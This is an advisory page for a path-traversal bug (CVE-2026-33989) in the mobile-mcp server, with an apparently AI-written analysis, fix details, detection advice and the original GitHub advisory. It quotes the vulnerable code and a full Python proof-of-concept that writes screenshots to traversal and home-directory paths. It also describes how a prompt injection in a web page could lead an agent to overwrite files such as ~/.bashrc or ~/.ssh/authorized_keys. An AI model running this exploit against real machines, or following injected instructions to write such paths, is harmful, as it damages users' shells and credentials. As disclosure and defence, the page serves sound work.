CVE-2026-33989: @mobilenext/mobile-mcp alllows arbitrary file write via Path Traversal in mobile screen capture tools
@mobilenext/mobile-mcp before 0.0.49 passes the saveTo and output arguments of mobile_save_screenshot and mobile_start_screen_recording straight to filesystem calls. A prompt-injected agent can write files anywhere the user can, for example shell startup files. Upgrade to 0.0.49.
Published Mar 27, 2026 · Updated Mar 30, 2026 · Analysis Oct 31, 2026
What an attacker can do
In src/server.ts, mobile_save_screenshot calls fs.writeFileSync(saveTo, screenshot) with whatever path the model supplies. mobile_start_screen_recording does the same with its output parameter. The code had validators for package names and locales, but none for paths.
The attacker does not need access to the machine. They plant instructions in a web page or document that the AI agent reads, and the agent then calls the tool with a chosen path, such as ../../file or an absolute path in the home directory. The tool writes the device's screenshot or recording there. The CVSS vector (8.1) reflects user interaction, high integrity and high availability impact.
The attacker controls the path but not the content, which is image or video bytes. Even so, overwriting ~/.bashrc, ~/.ssh/authorized_keys or a config file can break the shell and the user's tools. The advisory describes this destructive overwrite and no code execution. It applies where an agent has a connected phone, emulator or simulator and the MCP server is enabled.
Who is affected
@mobilenext/mobile-mcp versions below 0.0.49. MCP clients often start it with npx -y @mobilenext/mobile-mcp@latest, so you may be on whatever version npx cached. Check the installed version:
npm ls -g @mobilenext/mobile-mcpFor an npx cache, run npx @mobilenext/mobile-mcp@latest --version if supported, or clear the cache.
@mobilenext/mobile-mcp
- Ecosystem
- npm
- Affected
- < 0.0.49
- Fixed in
- 0.0.49
- Check
npm ls @mobilenext/mobile-mcp
How to fix it
Upgrade to @mobilenext/mobile-mcp 0.0.49:
npm install -g @mobilenext/[email protected]Commit f5e322959031 adds validation in src/utils.ts. Screenshots must end in .png, .jpg or .jpeg, and recordings in .mp4. Paths must sit under the OS temp directory or the current working directory, with the parent directory resolved through realpath. Violations throw an error that says the directory is not in the allowed list. The advisory names no workaround; until you upgrade, disable these two tools or require approval for each call.
How to tell if you were hit
Search agent session logs and MCP tool-call records for mobile_save_screenshot and mobile_start_screen_recording calls where saveTo or output holds .., an absolute path outside your project, or a dotfile. Check recent modification times and sizes of ~/.bashrc, ~/.zshrc, ~/.ssh/authorized_keys and tool config files. Beam records agent file access and MCP tool calls, which gives you the path argument and the target file.
Original advisory
From the GitHub Advisory Database (CC BY 4.0).
Summary
The @mobilenext/mobile-mcp server contains a Path Traversal vulnerability in the mobile_save_screenshot and mobile_start_screen_recording tools. The saveTo and output parameters were passed directly to filesystem operations without validation, allowing an attacker to write files outside the intended workspace.
Details
File: src/server.ts (lines 584-592)
tool(
"mobile_save_screenshot",
"Save Screenshot",
"Save a screenshot of the mobile device to a file",
{
device: z.string().describe("The device identifier..."),
saveTo: z.string().describe("The path to save the screenshot to"),
},
{ destructiveHint: true },
async ({ device, saveTo }) => {
const robot = getRobotFromDevice(device);
const screenshot = await robot.getScreenshot();
fs.writeFileSync(saveTo, screenshot); // ← VULNERABLE: No path validation
return `Screenshot saved to: ${saveTo}`;
},
);Root Cause
The saveTo parameter is passed directly to fs.writeFileSync() without any validation. The codebase has validation functions for other parameters (validatePackageName, validateLocale in src/utils.ts) but no path validation function exists.
Additional Affected Tool
File: src/server.ts (lines 597-620)
The mobile_start_screen_recording tool has the same vulnerability in its output parameter.
PoC
#!/usr/bin/env python3
import json
import os
import subprocess
import sys
import time
from datetime import datetime
SERVER_CMD = ["npx", "-y", "@mobilenext/mobile-mcp@latest"]
STARTUP_DELAY = 4
REQUEST_DELAY = 0.5
def log(level, msg):
print(f"[{level.upper()}] {msg}")
def send_jsonrpc(proc, msg, timeout=REQUEST_DELAY):
"""Send JSON-RPC message and receive response."""
try:
proc.stdin.write(json.dumps(msg) + "\n")
proc.stdin.flush()
time.sleep(timeout)
line = proc.stdout.readline()
return json.loads(line) if line else None
except Exception as e:
log("error", f"Communication error: {e}")
return None
def send_notification(proc, method, params=None):
"""Send JSON-RPC notification (no response expected)."""
msg = {"jsonrpc": "2.0", "method": method}
if params:
msg["params"] = params
proc.stdin.write(json.dumps(msg) + "\n")
proc.stdin.flush()
def start_server():
"""Start the mobile-mcp server."""
log("info", "Starting mobile-mcp server...")
try:
proc = subprocess.Popen(
SERVER_CMD,
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True,
)
time.sleep(STARTUP_DELAY)
if proc.poll() is not None:
stderr = proc.stderr.read()
log("error", f"Server failed to start: {stderr[:200]}")
return None
log("info", f"Server started (PID: {proc.pid})")
return proc
except FileNotFoundError:
log("error", "npx not found. Please install Node.js")
return None
def initialize_session(proc):
"""Initialize MCP session with handshake."""
log("info", "Initializing MCP session...")
resp = send_jsonrpc(
proc,
{
"jsonrpc": "2.0",
"id": 1,
"method": "initialize",
"params": {
"protocolVersion": "2024-11-05",
"capabilities": {},
"clientInfo": {"name": "mcpsec-exploit", "version": "1.0"},
},
},
)
if not resp or "error" in resp:
log("error", f"Initialize failed: {resp}")
return False
send_notification(proc, "notifications/initialized")
time.sleep(0.5)
server_info = resp.get("result", {}).get("serverInfo", {})
log("info", f"Session initialized - Server: {server_info.get('name')} v{server_info.get('version')}")
return True
def get_devices(proc):
"""Get list of connected devices."""
log("info", "Enumerating connected devices...")
resp = send_jsonrpc(
proc,
{
"jsonrpc": "2.0",
"id": 2,
"method": "tools/call",
"params": {"name": "mobile_list_available_devices", "arguments": {}},
},
)
if resp:
content = resp.get("result", {}).get("content", [{}])[0].get("text", "")
try:
devices = json.loads(content).get("devices", [])
return devices
except:
log("warning", f"Could not parse device list: {content[:100]}")
return []
def exploit_path_traversal(proc, device_id, target_path):
"""Execute path traversal exploit."""
log("info", f"Target path: {target_path}")
resp = send_jsonrpc(
proc,
{
"jsonrpc": "2.0",
"id": 100,
"method": "tools/call",
"params": {
"name": "mobile_save_screenshot",
"arguments": {"device": device_id, "saveTo": target_path},
},
},
timeout=2,
)
if resp:
content = resp.get("result", {}).get("content", [{}])
if isinstance(content, list) and content:
text = content[0].get("text", "")
log("info", f"Server response: {text[:100]}")
check_path = target_path
if target_path.startswith(".."):
check_path = os.path.normpath(os.path.join(os.getcwd(), target_path))
if os.path.exists(check_path):
size = os.path.getsize(check_path)
log("info", f"FILE WRITTEN: {check_path} ({size} bytes)")
return True, check_path, size
elif "Screenshot saved" in text:
log("info", f"Server confirmed write (file may be at relative path)")
return True, target_path, 0
log("warning", "Exploit may have failed or file not accessible")
return False, target_path, 0
def main():
device_id = sys.argv[1] if len(sys.argv) > 1 else None
proc = start_server()
if not proc:
sys.exit(1)
try:
if not initialize_session(proc):
sys.exit(1)
if not device_id:
devices = get_devices(proc)
if devices:
log("info", f"Found {len(devices)} device(s):")
for d in devices:
print(f" - {d.get('id')} - {d.get('name')} ({d.get('platform')}, {d.get('state')})")
device_id = devices[0].get("id")
log("info", f"Using device: {device_id}")
else:
log("error", "No devices found. Please connect a device and try again.")
log("info", "Usage: python3 exploit.py <device_id>")
sys.exit(1)
home = os.path.expanduser("~")
exploits = [
"../../exploit_2_traversal.png",
f"{home}/exploit.png",
f"{home}/.poc_dotfile",
]
results = []
for target in exploits:
success, path, size = exploit_path_traversal(proc, device_id, target)
results.append((target, success, path, size))
finally:
proc.terminate()
log("info", "Server terminated.")
if __name__ == "__main__":
main()Impact
A Prompt Injection attack from a malicious website or document could trick the AI into overwriting sensitive host files (e.g., ~/.bashrc, ~/.ssh/authorized_keys, or .config files) leading to a broken shell.
Credited to AbhiTheModder.
Questions
- Can the attacker run code with this bug?
The advisory describes arbitrary file overwrite with screenshot or video content, not code execution. The damage is broken shell or config files.
- Does it need the AI agent to be tricked?
Yes, in the advisory's scenario. A prompt injection from a malicious site or document makes the agent call the tool with a hostile path.
- What does 0.0.49 still allow?
Writes under the OS temp directory or the current working directory with image or mp4 extensions. Anything outside those is rejected.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology
More Other MCP servers and tools vulnerabilities
All Other MCP servers and tools entriesCVE-2026-102943
Dagu MCP DAG specification read bypasses path containment and workspace isolation
medium6.5Nov 10, 2026CVE-2026-102610
fast-agent: `fast-agent serve` binds HTTP to 0.0.0.0 with no authentication by default; with --shell this is unauthenticated remote command execution
medium6.4Nov 9, 2026CVE-2026-63655
tsParticles: Unbounded HTTP Request Body Buffering in @tsparticles/mcp-server Leads to Remote DoS
high7.5Nov 9, 2026CVE-2026-76892
tsParticles: Malformed JSON requests can terminate the @tsparticles/mcp-server HTTP process
high8.7Nov 9, 2026CVE-2026-76893
tsParticles: A single anonymous MCP session can monopolize HTTP mode and deny new clients
medium6.9Nov 9, 2026CVE-2026-77604
Code Graph RAG: MCP paginated read_file path traversal / arbitrary file read
high7.5Nov 9, 2026
